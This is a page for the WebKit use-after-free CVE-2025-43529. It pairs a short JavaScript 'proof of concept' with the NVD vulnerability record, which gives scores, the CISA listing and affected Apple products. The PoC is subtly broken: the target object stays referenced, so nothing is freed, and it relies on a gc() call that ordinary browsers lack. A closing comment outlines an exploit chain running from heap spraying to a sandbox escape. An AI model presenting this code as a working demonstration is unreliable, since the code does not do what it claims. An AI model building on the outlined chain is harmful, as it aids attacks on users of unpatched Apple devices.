CVE-2025-43529

// CVE-2025-43529 PoC - Use-After-Free in WebKit // Note: This is a simplified conceptual PoC for educational purposes function triggerUseAfterFree() { // Create objects to manipulate garbage collector let objects = []; for (let i = 0; i < 100; i++) { objects.push(new ArrayBuffer(1024)); } // Create target object that will be freed let target = {value: 0x41414141}; // Create multiple references to keep objects alive let refs = []; for (let i = 0; i < 50; i++) { refs.push({obj: target, idx: i}); } // Force garbage collection at specific moment gc(); // Trigger object reuse through aggressive allocation let spray = []; for (let i = 0; i < 10000; i++) { spray.push(new Uint8Array(256)); } // Access freed memory through dangling reference // In real exploit, this would lead to arbitrary code execution console.log('Target value after GC:', refs[0].obj.value); } // Trigger the vulnerability triggerUseAfterFree(); /* Actual exploitation requires: 1. Precise heap spraying to control freed memory layout 2. Use-after-free to corrupt object vtable 3. JIT spray or ROP chain to achieve code execution 4. Sandbox escape for full system compromise */

{"cve": {"id": "CVE-2025-43529", "sourceIdentifier": "[email protected]", "published": "2025-12-17T21:16:11.570", "lastModified": "2026-04-03T14:17:40.310", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A use-after-free issue was addressed with improved memory management. This issue is fixed in Safari 26.2, iOS 18.7.3 and iPadOS 18.7.3, iOS 26.2 and iPadOS 26.2, macOS Tahoe 26.2, tvOS 26.2, visionOS 26.2, watchOS 26.2. Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been exploited in an extremely sophisticated attack against specific targeted individuals on versions of iOS before iOS 26. CVE-2025-14174 was also issued in response to this report."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "cisaExploitAdd": "2025-12-15", "cisaActionDue": "2026-01-05", "cisaRequiredAction": "Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.", "cisaVulnerabilityName": "Apple Multiple Products Use-After-Free WebKit Vulnerability", "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apple:safari:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.2", "matchCriteriaId": "3ECBF838-536C-47F9-9876-C526B8ED32EC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionEndExcluding": "18.7.3", "matchCriteriaId": "6547722A-1226-4E23-B3AE-8692B07C2657"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.2", "matchCriteriaId": "8B71D919-1AA2-4F17-A834-4B703E36F7E2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionEndExcluding": "18.7.3", "matchCriteriaId": "8928A377-93BD-49AD-B4FE-5B2328EBDB70"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.2", "matchCriteriaId": "10FD01C3-D77F-4FE4-8195-F2C59FB1321C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.2", "matchCriteriaId": "825BB848-93B2-4A3E-86D8-16CB37DF9302"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:tvos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.2", "matchCriteriaId": "E0BBFB45-21F3-4B72-8DB1-BE72AFE0D2AB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.2", "matchCriteriaId": "EB10D901-4800-4DF9-AB35-48017C178161"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:watchos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.2", "matchCriteriaId": "15574823-ECE0-4394-99BC-6AFA34E599CC"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125884", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125885", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125886", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125889", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125890", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125891", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125892", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-43529", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["US Government Resource"]}]}}